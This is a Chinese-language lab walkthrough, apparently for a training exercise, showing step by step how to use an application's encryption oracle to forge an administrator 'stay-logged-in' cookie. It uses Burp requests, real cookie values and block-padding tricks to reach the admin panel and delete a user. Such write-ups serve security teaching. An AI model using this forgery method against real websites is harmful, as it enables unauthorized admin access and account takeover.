第十一关 通过加密预言机绕过身份验证
这一关就是通过加密机绕过这个认证,使用管理员去登录,从而把其他用户carlos删除
提示:1、该实验环境存在一个逻辑漏洞,会向用户暴露加密预言机(encryption oracle)。
2、要完成本实验,请利用此漏洞获取管理员面板的访问权限并删除用户carlos。
3、自己的帐户:wiener:peter
具体操作:
1、在启用 “保持登录状态” 选项的情况下与应用程序交互

2、找到触发的数据包,发现选择的保持登录选项是加密的,把这个加密数据发到Decoder
stay-logged-in=OxGHYYPqh7mnTvZm8vNfIIGt5vKnwaclr6Kj9xZ%2b3rQ%3d

3、加密数据发到Decoder解码,先进行URL解码,看到等于号就有可能是base64编码,那就进行base64解码
OxGHYYPqh7mnTvZm8vNfIIGt5vKnwaclr6Kj9xZ%2b3rQ%3d
解码后看着文本格式base64编码是一堆乱码
现在知道一堆加密的乱码,但是不知道加密机制

看了下这个网站,发现是一个博客类的网站,那就去文章下面发表评论,看能不能找到它的加密解密的功能,也就是说能不能找到这个加密预言机,找到这个网站提供的加密功能
怎么去找到这个加密功能呢?
那就使用 Burp 的手动测试工具研究相应的请求和响应。注意,保持登录状态的 Cookie 现在已经是加密的
4、随便进入一篇博客发表评论
填写的是正确的邮件地址格式

然后跳转到“Thank you for your comment!”页面
找到发表评论的相关数据包
POST /post/comment 没有任何异常

GET /post?postId=2 没有任何异常

上面就是发表了一个正常评论的流程
那么在应用程序交互的时候,可以尝试下填写邮件地址的文本框,填写一个错误的邮件地址格式看下
demo.g.cn

跳转页面:显示无效的邮件地址
尝试使用无效的电子邮件地址提交评论时,收到了一个纯文本错误:
Invalid email address: demo.g.cn

再去看POST /post/comment数据包:
与之前相比多了一个通知的cookie:
notification:通知的意思
Set-Cookie: notification=RX%2f1BWuLCVtxR3xz7bfTYHXnMnJwEf42IDYkQI9Y9awOuKovbVumwRXzgVAGYWbu;
发现这是经过加密的,那这里就是一个加密的功能

再去看GET /post?postId=7数据包
这里多了一个:也是收到了通知的cookie
notification=RX%2f1BWuLCVtxR3xz7bfTYHXnMnJwEf42IDYkQI9Y9awOuKovbVumwRXzgVAGYWbu;

将找到的POST /post/comment和GET /post?postId=7数据包(包含通知 Cookie),都发往repeater:
改变写名字:encrypt(加密) decrypt(解密)
在 Repeater 中,可以看到可以使用 POST 请求的 email 参数来加密任意数据
也就是使用stay-logged-in的cookie给邮件 email 参数进行加密
stay-logged-in=rop1KXZ4pG9ojDkq5AGwzkjk2wOTqDwWhnVbf1CWGGg%3d;

使用notification的cookie进行解密
notification=RX%2f1BWuLCVtxR3xz7bfTYHu%2fKoSJRjetAp%2bzPGI6RMI%3d;

5、知道了加密和解密怎么发生的
在Decrypt(解密)请求中,复制您的保持登录状态 cookie 并将其粘贴到通知 cookie 中
原来的:
Cookie: notification=RX%2f1BWuLCVtxR3xz7bfTYHu%2fKoSJRjetAp%2bzPGI6RMI%3d;
stay-logged-in=rop1KXZ4pG9ojDkq5AGwzkjk2wOTqDwWhnVbf1CWGGg%3d; session=ZUstJsGnrZbGikGyxeNz6qygHzrLnulT
替换之后的:
Cookie:
notification=rop1KXZ4pG9ojDkq5AGwzkjk2wOTqDwWhnVbf1CWGGg%3d;
stay-logged-in=rop1KXZ4pG9ojDkq5AGwzkjk2wOTqDwWhnVbf1CWGGg%3d; session=ZUstJsGnrZbGikGyxeNz6qygHzrLnulT
就是说现在notification和stay-logged-in内容一样
解密后的:wiener:1755084637643(时间戳) 这个就是stay-logged-in的cookie加密后的内容

也知道了解密后的数据,就是说cookie的格式是采用 username:timestamp
那么直接来伪造用户凭据:administrator:1755084637643
因为尝试的是无效的邮件位置出现的异常所以:
在 Repeater (Encrypt 选项卡)中,,将email 的值更改为 administrator:1755084637643并发送请求
email=administrator:1755084637643

将加密得到的:
Set-Cookie: notification=RX%2f1BWuLCVtxR3xz7bfTYCRhqeseEwbsDwT4YNoESfT4llfhIMVH7%2bYzpZa4VZSSOrOB1xOFa%2bKY0fP5obdYdw%3d%3d;
复制到:
notification=RX%2f1BWuLCVtxR3xz7bfTYCRhqeseEwbsDwT4YNoESfT4llfhIMVH7%2bYzpZa4VZSSOrOB1xOFa%2bKY0fP5obdYdw%3d%3d;
进行解密得到:Invalid email address: administrator:1755084637643

但是这里多了个前缀:Invalid email address: 这有23位
因为现在计算机一般都是32位为一组
所以在前面加9个无效字符凑成32,到时候编辑的时候就可以把这32个给删除掉,剩下的就得到密文: administrator:1755084637643
email=xxxxxxxxxadministrator:1755084637643
得到密文:
Set-Cookie: notification=RX%2f1BWuLCVtxR3xz7bfTYMu7mo2m9Zf3i8cnD%2bgUFtrf%2fu3x9nu9qTYkitw86WXFlo6b48gjdbV8fWE5hh1h3w%3d%3d

然后把得到的密文复制到Decoder那边进行解码后,去掉多余的前缀Invalid email address:
再进行重新编码

重新编码得到:
%33%2f%37%74%38%66%5a%37%76%61%6b%32%4a%49%72%63%50%4f%6c%6c%78%5a%61%4f%6d%2b%50%49%49%33%57%31%66%48%31%68%4f%59%59%64%59%64%38%3d

接下来记得是回到首页面****点击home,然后抓取这个数据包

在路径中直接访问 /admin,去到管理面板

这句话插入到stay-logged-in里面:
%33%2f%37%74%38%66%5a%37%76%61%6b%32%4a%49%72%63%50%4f%6c%6c%78%5a%61%4f%6d%2b%50%49%49%33%57%31%66%48%31%68%4f%59%59%64%59%64%38%3d

放包之后,刷新页面,就到了管理界面

如图靶场过关:

本实验中简化的漏洞利用逻辑: